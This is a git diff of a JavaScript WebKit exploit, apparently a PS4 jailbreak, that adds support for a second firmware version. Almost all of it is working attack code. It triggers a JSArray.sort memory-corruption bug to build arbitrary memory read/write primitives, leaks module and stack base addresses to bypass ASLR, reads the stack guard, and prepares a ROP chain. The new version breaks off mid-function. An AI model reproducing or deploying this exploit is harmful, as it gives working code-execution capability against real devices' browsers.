diff --git a/local/index.html b/local/index.html
index a43b82d..9980e42 100644
--- a/local/index.html
+++ b/local/index.html
@@ -111,7 +111,7 @@
}
}
- exploit();
+ exploit(version);
var chain = new rop(version)
var size = 0x100000;
diff --git a/local/js/exploit.js b/local/js/exploit.js
index 1a3523a..d8c2aaf 100644
--- a/local/js/exploit.js
+++ b/local/js/exploit.js
@@ -1,603 +1,645 @@
-// module bases for gadgets
-var LIBKERNEL = 1;
-var LIBC = 2;
-var LIBSYSMODULE = 3;
-var SCENET = 4;
-var SCENETCTL = 5;
-var SCEIPMI = 6;
-var SCEMBUS = 7;
-var SCEREGMGR = 8;
-var SCERTC = 9;
-var SCEPAD = 10;
-var SCEVIDEOOUT = 11;
-var SCEPIGLET = 12;
-var SCEORBISCOMPAT = 13;
-var WEBKIT2 = 14;
-var SCESYSCORE = 15;
-var SCESSL = 16;
-var SCEVIDEOCORESERVICE = 17;
-var SCESYSTEMSERVICE = 18;
-var SCECOMPOSITEEXT = 19;
-
-var errno = [
- "OK",
- "Operation not permitted",
- "No such file or directory",
- "No such process",
- "Interrupted system call",
- "I/O error",
- "No such device or address",
- "Argument list too long",
- "Exec format error",
- "Bad file number",
- "No child processes",
- "Try again",
- "Out of memory",
- "Permission denied",
- "Bad address",
- "Block device required",
- "Device or resource busy",
- "File exists",
- "Cross-device link",
- "No such device",
- "Not a directory",
- "Is a directory",
- "Invalid argument",
- "File table overflow",
- "Too many open files",
- "Not a typewriter",
- "Text file busy",
- "File too large",
- "No space left on device",
- "Illegal seek",
- "Read-only file system",
- "Too many links",
- "Broken pipe",
- "Math argument out of domain of func",
- "Math result not representable"
-];
-
-// global vars
-var _gc, _cnt = 0;
-
-function exploit() {
- try {
- //
- // Part 1: getting the Uint32Array object address
- //
- // init vars
- window.u32 = new Uint32Array(0x100);
- var a1 = [0,1,2,3,u32];
- var a2 = [0,1,2,3,4]; // right after a1
- var a1len = a1.length;
- var a2len = a2.length;
- var u32len = u32.length;
-
- // protect local vars from GC // for gdb
- if (!_gc) _gc = new Array();
- _gc.push(u32,a1,a2);
-
- // declare custom compare function
- var myCompFunc = function(x, y) {
- // check for the last call for last two array items
- if(y == 3 && x == u32) {
- //logAdd("myCompFunc(u32,3)");
- // shift() is calling during sort(), what causes the
- // last array item is written outside the array buffer
- a1.shift();
- }
- return 0;
- }
-
- // call the vulnerable method - JSArray.sort(...)
- a1.sort(myCompFunc);
-
- // check results: a2.length should be overwritten by a1[4]
- var len = a2.length;
- //logAdd("a2.length = 0x" + len.toString(16));
- if (len == a2len) { logAdd("error: 1"); return 1; }
-
- //
- // Part 2: creating corrupted JSValue which points to the (u32+0x18) address
- //
-
- // modify our compare function
- myCompFunc = function(x,y) {
- if (y == 0 && x == 1) {
- //logAdd("myCompFunc(1,0)");
- // call shift() again to read the corrupted JSValue from a2.length
- // into a1[3] on the next sort loop
- a1.length = a1len;
- a1.shift();
- // modify JSValue
- a2.length = len + 0x18;
- }
- if (y == 3) {
- //logAdd("myCompFunc(x,3)");
- // shift it back to access a1[3]
- a1.unshift(0);
- }
- return 0;
- }
-
- a1.sort(myCompFunc);
-
- // now a1[3] should contain the corrupted JSValue from a2.length (=len+0x18)
- var c = a2.length;
- //logAdd("a2.length = 0x" + c.toString(16));
- if (c != len + 0x18) { logAdd("error: 2"); a1[3] = 0; return 2; }
-
- //
- // Part 3: overwriting ((JSUint32Array)u32).m_impl pointer (see JSCTypedArrayStubs.h)
- //
-
- // generate dummy JS functions
- var f, f2, f2offs, f2old, funcs = new Array(30);
- c = funcs.length;
- for(var i=0; i < c; i++){
- f = new Function("arg", " return 876543210 + " + (_cnt++) + ";");
- f.prop2 = 0x12345600 + i;
- funcs[i] = f;
- }
-
- // generate JIT-code
- for(var i=c-1; i >= 0; i--) { funcs[i](i); }
-
- // prepare objects for the third sort() call
- var mo = {};
- var pd = { set: funcs[0], enumerable:true, configurable:true }
- var a3 = [0,1,2,a1[3]];
-
- // allocate mo's property storage right after a3's buffer
- Object.defineProperty(mo, "prop0", pd);
- for(var i=1; i < 5; i++){
- mo["prop"+i] = i;
- }
-
- // protect from GC
- _gc.push(a3,mo,funcs);
-
- // use sort-n-shift technique again
- myCompFunc = function(x,y)
- {
- // check for the last call for two last array items
- if (y == 2) {
- //logAdd("myCompFunc(a3[3],2)");
- // a3[3] will be written over the mo.prop0 object
- a3.shift();
- }
- return 0;
- }
-
- // overwrite mo.prop0 by a3[3] = a1[3] = &u32+0x18
- a3.sort(myCompFunc);
-
- // u32.prop1 has 0x20 offset inside u32, and 0x08 inside mo.prop0 GetterSetter object.
- // we should put some valid pointers into GetterSetter
- u32.prop1 = u32; // GetterSetter.m_structure
- u32.prop2 = 8; // 8 = JSType.GetterSetterType
- u32.prop1 = a1[3]; // bypass JSCell::isGetterSetter()
-
- // clear corrupted JSValue
- a1[3] = 0; a3[3] = 0;
-
- // overwrite u32.m_impl by some JSFunction object
- f = funcs[c-5];
- pd.set = f;
- Object.defineProperty(mo, "prop0", pd);
-
- // check results: u32.length is taken from f's internals now
- //logAdd("u32.length = 0x" + u32.length.toString(16));
- if (u32.length == u32len) { logAdd("error: 3"); return 3; }
-
- //
- // Part 4: getting the JIT-code memory address
- //
-
- // declare aux functions
- var setU64 = function(offs, val) {
- u32[offs] = val % 0x100000000;
- u32[offs+1] = val / 0x100000000;
- }
- var setU32 = function(offs, val) {
- u32[offs] = val;
- }
- var setU16 = function(offs, val) {
- setU8(offs, val % 256);
- setU8(offs + 1, val / 256);
- }
- var setU8 = function(offs, val) {
- u32[offs >>> 2] = (u32[offs >>> 2] & ~(0xFF << ((offs % 4) * 8))) | (val << ((offs % 4) * 8));
- }
-
- var getU64 = function(offs) {
- return u32[offs] + u32[offs+1] * 0x100000000;
- }
- var getU32 = function(offs) {
- return u32[offs];
- }
- var getU8 = function(offs) {
- return (u32[offs >>> 2] >> ((offs % 4) * 8)) & 0xff;
- }
- var getObjAddr = function(obj) {
- // write obj into u32 data
- pd.set.prop2 = obj;
- // read obj address from u32
- return getU64(2);
- }
-
- window.va2ea = function(addr) {
- return addr - u32base;
- }
- window.va2o = function(addr) {
- return va2ea(addr) >>> 2;
- }
-
- // will not modify u32base
-
- window.read32 = function(addr) {
- return u32[va2o(addr)];
- }
- window.write32 = function(addr, val) {
- u32[va2o(addr)] = val & 0xffffffff;
- }
- window.read64 = function(addr) {
- return getU64(va2o(addr));
- }
- window.write64 = function(addr, val) {
- return setU64(va2o(addr), val);
- }
-
- window.readString = function(addr) {
- var s = '';
- var ea = va2ea(addr);
- var i = ea / 4;
- var j = ea % 4;
- while (1) {
- var c = (u32[i] >>> (8 * j)) & 0xff;
- if (c == 0) return s;
- s += String.fromCharCode(c);
- j = (j + 1) % 4;
- if (j == 0) { i += 1; }
- }
- return s;
- }
-
- window.writeString = function(addr, val) {
- var ea = va2ea(addr);
- var i = ea / 4;
- var j = ea % 4;
- for (var x = 0; x <= val.length; x++) {
- var c = (x == val.length) ? 0 : val.charCodeAt(x);
- var w = u32[i];
- w = (w & ~(0xff << (8 * j))) | (c << (8 * j));
- u32[i] = w;
- j = (j + 1) % 4;
- if (j == 0) { i += 1; }
- }
- return addr + val.length;
- }
-
- window.int2hex = function(value, digits) {
- value = value.toString(16);
- while (value.length < digits) {
- value = "0" + value;
- }
-
- return value;
- }
-
- window.hexDump = function(addr, length) {
- var b = '
';
- var tmp = '';
- var ea = va2ea(addr);
- var i = ea / 4;
- var j = ea % 4;
-
- b += int2hex(addr, 8);
- b += ": ";
-
- for (z = 1; z <= length; z++) {
- var ch = (u32[i] >>> (8 * j)) & 0xff;
- b += int2hex(ch, 2);
- if(( ch > 31) && (ch < 127)){
- tmp += String.fromCharCode(ch);
- }
- else {
- tmp += "."
- }
-
- j = (j + 1) % 4;
- if (j == 0) { i += 1; }
-
-
- //if(z % 4 == 0) {
- b += " ";
- //}
-
- //if(z % 8 == 0) {
- // b += " ";
- //}
-
- if(z % 16 == 0) {
- b += " | " + tmp + "
";
- tmp = "";
- if (z != length) {
- b += int2hex(addr+z, 8) + ": ";
- }
- }
- }
- return b + "
"
- }
-
- // size multiples of 8 only
- window.zeroMemory = function(base, size) {
- for(var i = base; i < base + size; i += 8) {
- setU64to(i, 0);
- }
- }
-
- // convert base to base
- window.baseToBase = function(fromBase, toBase, value) {
- if(value == "") value = 0;
- value = parseInt(value, fromBase);
- return Number(value).toString(toBase).toUpperCase();
- }
-
- // hex escape bytes
- window.escapeToHex = function(str) {
- var hex = '';
- for(var i = 0; i < str.length; i += 2) {
- hex += '\\x' + str[i] + str[i + 1];
- }
-
- //have to eval so JavasSript processes the string for appending
- return eval("ret = \"" + hex + "\"");
- }
-
- // get the memory address of u32
- var u32addr = getObjAddr(u32);
- //logAdd("u32 address = 0x" + u32addr.toString(16));
- // get the memory address of u32[0] (ArrayBufferView.m_baseAddress)
- var u32base = getObjAddr(pd.set) + 0x20;
- var u32base0 = u32base;
- //logAdd("u32 base = 0x" + u32base.toString(16));
-
- // on x64 platforms we can't just set u32.length to the huge number
- // for ability to access arbitrary addresses. We should be able to
- // modify the u32's buffer pointer on-the-fly.
- window.setBase = function(addr){
- if (!f2) {
- // search for another JSFunction near "f"
- for(var i=0x12; i < 0x80; i+=0x10){
- if ((u32[i] >>> 8) == 0x123456) {
- f2 = funcs[u32[i] & 0xFF];
- f2offs = i - 6;
- f2old = getU64(f2offs);
- break;
- }
- }
- logAdd("f2offs = 0x" + f2offs);
- if (!f2) { return false; }
-
- }
- if (pd.set != f) {
- pd.set = f;
- Object.defineProperty(mo, "prop0", pd);
- u32base = u32base0;
- }
- if (addr == null) return true;
-
- // this will be the new value for ((ArrayBufferView)u32).m_baseAddress
- setU64(f2offs, addr);
-
- // overwrite ((JSUint32Array)u32).m_impl again
- pd.set = f2;
- Object.defineProperty(mo, "prop0", pd);
-
- u32base = addr;
- //logAdd("u32 new base = 0x" + u32base.toString(16));
-
- return true;
- }
-
- // read/write the 64-bit value from the custom address
- window.getU64from = function(addr) {
- if (addr < u32base || addr >= u32base + u32len*4) {
- if (!setBase(addr)) return 0;
- }
- return getU64((addr - u32base) >>> 2);
- }
-
- window.getU32from = function(addr) {
- if (addr < u32base || addr >= u32base + u32len*4) {
- if (!setBase(addr)) return 0;
- }
- return getU32((addr - u32base) >>> 2);
- }
-
- window.getU8from = function(addr) {
- if (addr < u32base || addr >= u32base + u32len*4) {
- if (!setBase(addr)) return 0;
- }
- return getU8(addr - u32base);
- }
-
- window.setU64to = function(addr,val) {
- if (addr < u32base || addr >= u32base + u32len*4) {
- if (!setBase(addr)) return 0;
- }
- return setU64((addr - u32base) >>> 2, val);
- }
- window.setU32to = function(addr,val) {
- if (addr < u32base || addr >= u32base + u32len*4) {
- if (!setBase(addr)) return 0;
- }
- return setU32((addr - u32base) >>> 2, val);
- }
- window.setU16to = function(addr,val) {
- if (addr < u32base || addr >= u32base + u32len*4) {
- if (!setBase(addr)) return 0;
- }
- return setU16((addr - u32base), val);
- }
- window.setU8to = function(addr,val) {
- if (addr < u32base || addr >= u32base + u32len*4) {
- if (!setBase(addr)) return 0;
- }
- return setU8((addr - u32base), val);
- }
- window.setU64into = function(addr, value) {
- var low = value %0x100000000;
- var high = value/0x100000000;
- setBase(addr)
- u32[0] = parseInt(low.toString(16),16);
- u32[1] = parseInt(high.toString(16),16);
- }
- window.setU32into = function(addr, value) {
- setBase(addr);
- u32[0] = value;
- }
-
-
- //logAdd("u32 size: 0x" + u32.length.toString(16));
-
- // Get the object table from the origianl heap address
- // +0x20 is a pointer we can use for some object
-
- var xx = getU64from(u32base0+0x20);
- var yy=0;
- //logAdd("verify base: 0x"+xx.toString(16) );
-
- //
- // This is the only part you need to modify
- //
- //
- //
- // First, the heap array has a pointer into a function
- // in WebKit2. The one I'm using is always at +0x20 from
- // the original base at +0x20.
-
- // 1.70 PS4 = -0x30bf0 is the start of webkit
-
- // +0x25C4000 = some data
- // +0x2414000 = import table
- // (import table +0x20) = modules table
- // If this crashes, try it 2-4 more times. It usually will work
-
- // target addr for the rop chain
-
- var chain_addr = u32base0 + 0x80000;
- var chain_data = u32base0 + 0x88000;
-
- // xx will be the base address of WebKit2
-
- xx = (getU64from(xx+0x20)-0x30bf0);
- var wk_base = xx;
- logAdd("WebKit2 base address = 0x" + xx.toString(16));
- xx += 0x2414000; // Get to the import table
- setBase(xx);
-
- xx = getU64from(xx+0x20); // Get to the module table
- // Future use: data area somewhere around 0x200500000
-
- //get libSceLibcinternal base
- var libc_int_base = getU64from(xx+0x1628); //1.76
-
- //logAdd("Dump Address is 0x" + xx.toString(16));
-
- var module_list = xx + 0xae0 + 0x690;
-
- // module list is a doubly linked list, where the last node has self->next == 0
- // and the first node has self->prev == prev->next && self->prev->prev == last
- // The list head is seperate from the list and is a kind of "fake" node
- var modinfo_ptr = module_list;
- module_infos = {};
- var n = 0;
-
- setBase(module_list);
- while (modinfo_ptr != 0) {
- var name = readString(modinfo_ptr + 0x18);
- if (name == '') { break; }
- var rdata_base = read64(modinfo_ptr + 0x170);
- var rdata_size = read32(modinfo_ptr + 0x178);
- var import_base = read64(modinfo_ptr + 0x180);
- var import_size = read32(modinfo_ptr + 0x188);
- if (rdata_base == 0 ||
- rdata_size == 0 ||
- import_base == 0 ||
- import_size == 0) {
- logAdd('jit kicked in? skipping...');
- } else {
- module_infos[n] = {
- name : name,
- image_base : rdata_base,
- image_size : rdata_size + import_size,
- image_end : rdata_base + rdata_size + import_size,
- text_start : rdata_base,
- text_size : rdata_size,
- text_end : rdata_base + rdata_size,
- idata_start : import_base,
- idata_size : import_size,
- idata_end : import_base + import_size,
- };
- }
- // somehow adding the constant instead of reading the value
- // tends to avoid the jit problem
- //modinfo_ptr = read64(modinfo_ptr + 0);
- modinfo_ptr += 0x1c0;
- n++;
- }
-
- var libsysmodule_base = getU64from(xx+0x17E8);
-
- //get libkernel base
- //xx = getU64from(xx+0xdd8); //1.71
- xx = getU64from(xx+0x1468); //1.76
- //var libkernel_base = xx;
-
- setBase(xx);
-
- //get stack base
- //xx = getU64from(xx+0x3D890); //1.76 webkit2 stack?
- xx = getU64from(xx+0x5B278); //1.76 webprocess stack
- //yy = getU64from(xx+0x5AA70); //1.71
- window.stack_base = xx - 0x4000;
- //yy = getU64from(xx+0x5AA70);
-
-
- // Defining modules
- libkernel = module_infos[LIBKERNEL];
- libSceLibcInternal = module_infos[LIBC];
- libSceSysmodule = module_infos[LIBSYSMODULE];
- libSceNet = module_infos[SCENET];
- libSceNetCtl = module_infos[SCENETCTL];
- libSceIpmi = module_infos[SCEIPMI];
- libSceMbus = module_infos[SCEMBUS];
- libSceRegMgr = module_infos[SCEREGMGR];
- libSceRtc = module_infos[SCERTC];
- libScePad = module_infos[SCEPAD];
- libSceVideoOut = module_infos[SCEVIDEOOUT];
- libScePigletv2VSH = module_infos[SCEPIGLET];
- libSceOrbisCompat = module_infos[SCEORBISCOMPAT];
- libSceWebKit2 = module_infos[WEBKIT2];
- libSceSysCore = module_infos[SCESYSCORE];
- libSceSsl = module_infos[SCESSL];
- libSceVideoCoreServerInterface = module_infos[SCEVIDEOCORESERVICE];
- libSceSystemService = module_infos[SCESYSTEMSERVICE];
- libSceCompositeExt = module_infos[SCECOMPOSITEEXT];
-
- logAdd("libkernel Base = 0x" + libkernel.image_base.toString(16));
- logAdd("libSceLibcinternal Base = 0x" + libSceLibcInternal.image_base.toString(16));
- logAdd("Stack Base = 0x" + stack_base.toString(16));
-
- logAdd("Refresh this page between calls to avoid instability and crashes. Enjoy...");
-
- window.return_va = 0x2b38; //1.76
- }
- catch(e) {
- logAdd(e);
- }
-
- return 0;
-}
+// module bases for gadgets
+var LIBKERNEL = 1;
+var LIBC = 2;
+var LIBSYSMODULE = 3;
+var SCENET = 4;
+var SCENETCTL = 5;
+var SCEIPMI = 6;
+var SCEMBUS = 7;
+var SCEREGMGR = 8;
+var SCERTC = 9;
+var SCEPAD = 10;
+var SCEVIDEOOUT = 11;
+var SCEPIGLET = 12;
+var SCEORBISCOMPAT = 13;
+var WEBKIT2 = 14;
+var SCESYSCORE = 15;
+var SCESSL = 16;
+var SCEVIDEOCORESERVICE = 17;
+var SCESYSTEMSERVICE = 18;
+var SCECOMPOSITEEXT = 19;
+
+var errno = [
+ "OK",
+ "Operation not permitted",
+ "No such file or directory",
+ "No such process",
+ "Interrupted system call",
+ "I/O error",
+ "No such device or address",
+ "Argument list too long",
+ "Exec format error",
+ "Bad file number",
+ "No child processes",
+ "Try again",
+ "Out of memory",
+ "Permission denied",
+ "Bad address",
+ "Block device required",
+ "Device or resource busy",
+ "File exists",
+ "Cross-device link",
+ "No such device",
+ "Not a directory",
+ "Is a directory",
+ "Invalid argument",
+ "File table overflow",
+ "Too many open files",
+ "Not a typewriter",
+ "Text file busy",
+ "File too large",
+ "No space left on device",
+ "Illegal seek",
+ "Read-only file system",
+ "Too many links",
+ "Broken pipe",
+ "Math argument out of domain of func",
+ "Math result not representable"
+];
+
+// global vars
+var _gc, _cnt = 0;
+
+function exploit(version) {
+ try {
+ //
+ // Part 1: getting the Uint32Array object address
+ //
+ // init vars
+ window.u32 = new Uint32Array(0x100);
+ var a1 = [0,1,2,3,u32];
+ var a2 = [0,1,2,3,4]; // right after a1
+ var a1len = a1.length;
+ var a2len = a2.length;
+ var u32len = u32.length;
+
+ // protect local vars from GC // for gdb
+ if (!_gc) _gc = new Array();
+ _gc.push(u32,a1,a2);
+
+ // declare custom compare function
+ var myCompFunc = function(x, y) {
+ // check for the last call for last two array items
+ if(y == 3 && x == u32) {
+ //logAdd("myCompFunc(u32,3)");
+ // shift() is calling during sort(), what causes the
+ // last array item is written outside the array buffer
+ a1.shift();
+ }
+ return 0;
+ }
+
+ // call the vulnerable method - JSArray.sort(...)
+ a1.sort(myCompFunc);
+
+ // check results: a2.length should be overwritten by a1[4]
+ var len = a2.length;
+ //logAdd("a2.length = 0x" + len.toString(16));
+ if (len == a2len) { logAdd("error: 1"); return 1; }
+
+ //
+ // Part 2: creating corrupted JSValue which points to the (u32+0x18) address
+ //
+
+ // modify our compare function
+ myCompFunc = function(x,y) {
+ if (y == 0 && x == 1) {
+ //logAdd("myCompFunc(1,0)");
+ // call shift() again to read the corrupted JSValue from a2.length
+ // into a1[3] on the next sort loop
+ a1.length = a1len;
+ a1.shift();
+ // modify JSValue
+ a2.length = len + 0x18;
+ }
+ if (y == 3) {
+ //logAdd("myCompFunc(x,3)");
+ // shift it back to access a1[3]
+ a1.unshift(0);
+ }
+ return 0;
+ }
+
+ a1.sort(myCompFunc);
+
+ // now a1[3] should contain the corrupted JSValue from a2.length (=len+0x18)
+ var c = a2.length;
+ //logAdd("a2.length = 0x" + c.toString(16));
+ if (c != len + 0x18) { logAdd("error: 2"); a1[3] = 0; return 2; }
+
+ //
+ // Part 3: overwriting ((JSUint32Array)u32).m_impl pointer (see JSCTypedArrayStubs.h)
+ //
+
+ // generate dummy JS functions
+ var f, f2, f2offs, f2old, funcs = new Array(30);
+ c = funcs.length;
+ for(var i=0; i < c; i++){
+ f = new Function("arg", " return 876543210 + " + (_cnt++) + ";");
+ f.prop2 = 0x12345600 + i;
+ funcs[i] = f;
+ }
+
+ // generate JIT-code
+ for(var i=c-1; i >= 0; i--) { funcs[i](i); }
+
+ // prepare objects for the third sort() call
+ var mo = {};
+ var pd = { set: funcs[0], enumerable:true, configurable:true }
+ var a3 = [0,1,2,a1[3]];
+
+ // allocate mo's property storage right after a3's buffer
+ Object.defineProperty(mo, "prop0", pd);
+ for(var i=1; i < 5; i++){
+ mo["prop"+i] = i;
+ }
+
+ // protect from GC
+ _gc.push(a3,mo,funcs);
+
+ // use sort-n-shift technique again
+ myCompFunc = function(x,y)
+ {
+ // check for the last call for two last array items
+ if (y == 2) {
+ //logAdd("myCompFunc(a3[3],2)");
+ // a3[3] will be written over the mo.prop0 object
+ a3.shift();
+ }
+ return 0;
+ }
+
+ // overwrite mo.prop0 by a3[3] = a1[3] = &u32+0x18
+ a3.sort(myCompFunc);
+
+ // u32.prop1 has 0x20 offset inside u32, and 0x08 inside mo.prop0 GetterSetter object.
+ // we should put some valid pointers into GetterSetter
+ u32.prop1 = u32; // GetterSetter.m_structure
+ u32.prop2 = 8; // 8 = JSType.GetterSetterType
+ u32.prop1 = a1[3]; // bypass JSCell::isGetterSetter()
+
+ // clear corrupted JSValue
+ a1[3] = 0; a3[3] = 0;
+
+ // overwrite u32.m_impl by some JSFunction object
+ f = funcs[c-5];
+ pd.set = f;
+ Object.defineProperty(mo, "prop0", pd);
+
+ // check results: u32.length is taken from f's internals now
+ //logAdd("u32.length = 0x" + u32.length.toString(16));
+ if (u32.length == u32len) { logAdd("error: 3"); return 3; }
+
+ //
+ // Part 4: getting the JIT-code memory address
+ //
+
+ // declare aux functions
+ var setU64 = function(offs, val) {
+ u32[offs] = val % 0x100000000;
+ u32[offs+1] = val / 0x100000000;
+ }
+ var setU32 = function(offs, val) {
+ u32[offs] = val;
+ }
+ var setU16 = function(offs, val) {
+ setU8(offs, val % 256);
+ setU8(offs + 1, val / 256);
+ }
+ var setU8 = function(offs, val) {
+ u32[offs >>> 2] = (u32[offs >>> 2] & ~(0xFF << ((offs % 4) * 8))) | (val << ((offs % 4) * 8));
+ }
+
+ var getU64 = function(offs) {
+ return u32[offs] + u32[offs+1] * 0x100000000;
+ }
+ var getU32 = function(offs) {
+ return u32[offs];
+ }
+ var getU8 = function(offs) {
+ return (u32[offs >>> 2] >> ((offs % 4) * 8)) & 0xff;
+ }
+ var getObjAddr = function(obj) {
+ // write obj into u32 data
+ pd.set.prop2 = obj;
+ // read obj address from u32
+ return getU64(2);
+ }
+
+ window.va2ea = function(addr) {
+ return addr - u32base;
+ }
+ window.va2o = function(addr) {
+ return va2ea(addr) >>> 2;
+ }
+
+ // will not modify u32base
+
+ window.read32 = function(addr) {
+ return u32[va2o(addr)];
+ }
+ window.write32 = function(addr, val) {
+ u32[va2o(addr)] = val & 0xffffffff;
+ }
+ window.read64 = function(addr) {
+ return getU64(va2o(addr));
+ }
+ window.write64 = function(addr, val) {
+ return setU64(va2o(addr), val);
+ }
+
+ window.readString = function(addr) {
+ var s = '';
+ var ea = va2ea(addr);
+ var i = ea / 4;
+ var j = ea % 4;
+ while (1) {
+ var c = (u32[i] >>> (8 * j)) & 0xff;
+ if (c == 0) return s;
+ s += String.fromCharCode(c);
+ j = (j + 1) % 4;
+ if (j == 0) { i += 1; }
+ }
+ return s;
+ }
+
+ window.writeString = function(addr, val) {
+ var ea = va2ea(addr);
+ var i = ea / 4;
+ var j = ea % 4;
+ for (var x = 0; x <= val.length; x++) {
+ var c = (x == val.length) ? 0 : val.charCodeAt(x);
+ var w = u32[i];
+ w = (w & ~(0xff << (8 * j))) | (c << (8 * j));
+ u32[i] = w;
+ j = (j + 1) % 4;
+ if (j == 0) { i += 1; }
+ }
+ return addr + val.length;
+ }
+
+ window.int2hex = function(value, digits) {
+ value = value.toString(16);
+ while (value.length < digits) {
+ value = "0" + value;
+ }
+
+ return value;
+ }
+
+ window.hexDump = function(addr, length) {
+ var b = '';
+ var tmp = '';
+ var ea = va2ea(addr);
+ var i = ea / 4;
+ var j = ea % 4;
+
+ b += int2hex(addr, 8);
+ b += ": ";
+
+ for (z = 1; z <= length; z++) {
+ var ch = (u32[i] >>> (8 * j)) & 0xff;
+ b += int2hex(ch, 2);
+ if(( ch > 31) && (ch < 127)){
+ tmp += String.fromCharCode(ch);
+ }
+ else {
+ tmp += "."
+ }
+
+ j = (j + 1) % 4;
+ if (j == 0) { i += 1; }
+
+
+ //if(z % 4 == 0) {
+ b += " ";
+ //}
+
+ //if(z % 8 == 0) {
+ // b += " ";
+ //}
+
+ if(z % 16 == 0) {
+ b += " | " + tmp + "
";
+ tmp = "";
+ if (z != length) {
+ b += int2hex(addr+z, 8) + ": ";
+ }
+ }
+ }
+ return b + "
"
+ }
+
+ // size multiples of 8 only
+ window.zeroMemory = function(base, size) {
+ for(var i = base; i < base + size; i += 8) {
+ setU64to(i, 0);
+ }
+ }
+
+ // convert base to base
+ window.baseToBase = function(fromBase, toBase, value) {
+ if(value == "") value = 0;
+ value = parseInt(value, fromBase);
+ return Number(value).toString(toBase).toUpperCase();
+ }
+
+ // hex escape bytes
+ window.escapeToHex = function(str) {
+ var hex = '';
+ for(var i = 0; i < str.length; i += 2) {
+ hex += '\\x' + str[i] + str[i + 1];
+ }
+
+ //have to eval so JavasSript processes the string for appending
+ return eval("ret = \"" + hex + "\"");
+ }
+
+ // get the memory address of u32
+ var u32addr = getObjAddr(u32);
+ //logAdd("u32 address = 0x" + u32addr.toString(16));
+ // get the memory address of u32[0] (ArrayBufferView.m_baseAddress)
+ var u32base = getObjAddr(pd.set) + 0x20;
+ var u32base0 = u32base;
+ //logAdd("u32 base = 0x" + u32base.toString(16));
+
+ // on x64 platforms we can't just set u32.length to the huge number
+ // for ability to access arbitrary addresses. We should be able to
+ // modify the u32's buffer pointer on-the-fly.
+ window.setBase = function(addr){
+ if (!f2) {
+ // search for another JSFunction near "f"
+ for(var i=0x12; i < 0x80; i+=0x10){
+ if ((u32[i] >>> 8) == 0x123456) {
+ f2 = funcs[u32[i] & 0xFF];
+ f2offs = i - 6;
+ f2old = getU64(f2offs);
+ break;
+ }
+ }
+ logAdd("f2offs = 0x" + f2offs);
+ if (!f2) { return false; }
+
+ }
+ if (pd.set != f) {
+ pd.set = f;
+ Object.defineProperty(mo, "prop0", pd);
+ u32base = u32base0;
+ }
+ if (addr == null) return true;
+
+ // this will be the new value for ((ArrayBufferView)u32).m_baseAddress
+ setU64(f2offs, addr);
+
+ // overwrite ((JSUint32Array)u32).m_impl again
+ pd.set = f2;
+ Object.defineProperty(mo, "prop0", pd);
+
+ u32base = addr;
+ //logAdd("u32 new base = 0x" + u32base.toString(16));
+
+ return true;
+ }
+
+ // read/write the 64-bit value from the custom address
+ window.getU64from = function(addr) {
+ if (addr < u32base || addr >= u32base + u32len*4) {
+ if (!setBase(addr)) return 0;
+ }
+ return getU64((addr - u32base) >>> 2);
+ }
+
+ window.getU32from = function(addr) {
+ if (addr < u32base || addr >= u32base + u32len*4) {
+ if (!setBase(addr)) return 0;
+ }
+ return getU32((addr - u32base) >>> 2);
+ }
+
+ window.getU8from = function(addr) {
+ if (addr < u32base || addr >= u32base + u32len*4) {
+ if (!setBase(addr)) return 0;
+ }
+ return getU8(addr - u32base);
+ }
+
+ window.setU64to = function(addr,val) {
+ if (addr < u32base || addr >= u32base + u32len*4) {
+ if (!setBase(addr)) return 0;
+ }
+ return setU64((addr - u32base) >>> 2, val);
+ }
+ window.setU32to = function(addr,val) {
+ if (addr < u32base || addr >= u32base + u32len*4) {
+ if (!setBase(addr)) return 0;
+ }
+ return setU32((addr - u32base) >>> 2, val);
+ }
+ window.setU16to = function(addr,val) {
+ if (addr < u32base || addr >= u32base + u32len*4) {
+ if (!setBase(addr)) return 0;
+ }
+ return setU16((addr - u32base), val);
+ }
+ window.setU8to = function(addr,val) {
+ if (addr < u32base || addr >= u32base + u32len*4) {
+ if (!setBase(addr)) return 0;
+ }
+ return setU8((addr - u32base), val);
+ }
+ window.setU64into = function(addr, value) {
+ var low = value %0x100000000;
+ var high = value/0x100000000;
+ setBase(addr)
+ u32[0] = parseInt(low.toString(16),16);
+ u32[1] = parseInt(high.toString(16),16);
+ }
+ window.setU32into = function(addr, value) {
+ setBase(addr);
+ u32[0] = value;
+ }
+
+
+ //logAdd("u32 size: 0x" + u32.length.toString(16));
+
+ // Get the object table from the origianl heap address
+ // +0x20 is a pointer we can use for some object
+
+ var xx = getU64from(u32base0+0x20);
+ var yy=0;
+ //logAdd("verify base: 0x"+xx.toString(16) );
+
+ //
+ // This is the only part you need to modify
+ //
+ //
+ //
+ // First, the heap array has a pointer into a function
+ // in WebKit2. The one I'm using is always at +0x20 from
+ // the original base at +0x20.
+
+ // 1.70 PS4 = -0x30bf0 is the start of webkit
+
+ // +0x25C4000 = some data
+ // +0x2414000 = import table
+ // (import table +0x20) = modules table
+ // If this crashes, try it 2-4 more times. It usually will work
+
+ if(version === 1.76)
+ {
+ // target addr for the rop chain
+ var chain_addr = u32base0 + 0x80000;
+ var chain_data = u32base0 + 0x88000;
+
+ // xx will be the base address of WebKit2
+ xx = (getU64from(xx+0x20)-0x30bf0);
+ var wk_base = xx;
+ logAdd("WebKit2 base address = 0x" + xx.toString(16));
+ xx += 0x2414000; // Get to the import table
+ setBase(xx);
+
+ xx = getU64from(xx+0x20); // Get to the module table
+ // Future use: data area somewhere around 0x200500000
+
+ //get libSceLibcinternal base
+ var libc_int_base = getU64from(xx+0x1628); //1.76
+
+ //logAdd("Dump Address is 0x" + xx.toString(16));
+
+ var module_list = xx + 0xae0 + 0x690;
+ }
+ else if(version === 1.01)
+ {
+ var chain_addr = u32base0 + 0x80000 + 0x4000;
+ var chain_data = u32base0 + 0x88000 + 0x4000;
+
+ var loc0 = getU64from(u32base0 + 0x20);
+ setBase(loc0);
+
+ var loc1 = getU64from(loc0 + 0x20);
+ setBase(loc1);
+
+ var wk2_text_base = loc1 - 0x30430;
+ setBase(wk2_text_base);
+
+ var wk2_import_base = wk2_text_base + 0x2438000;
+ setBase(wk2_import_base);
+
+ var __stack_chk_guard_ptr = getU64from(wk2_import_base + 0x20);
+ setBase(__stack_chk_guard_ptr);
+
+ var __stack_chk_guard = getU64from(__stack_chk_guard_ptr);
+ var module_list = __stack_chk_guard_ptr - 0x1C290;
+ }
+
+ // module list is a doubly linked list, where the last node has self->next == 0
+ // and the first node has self->prev == prev->next && self->prev->prev == last
+ // The list head is seperate from the list and is a kind of "fake" node
+ var modinfo_ptr = module_list;
+ module_infos = {};
+ var n = 0;
+
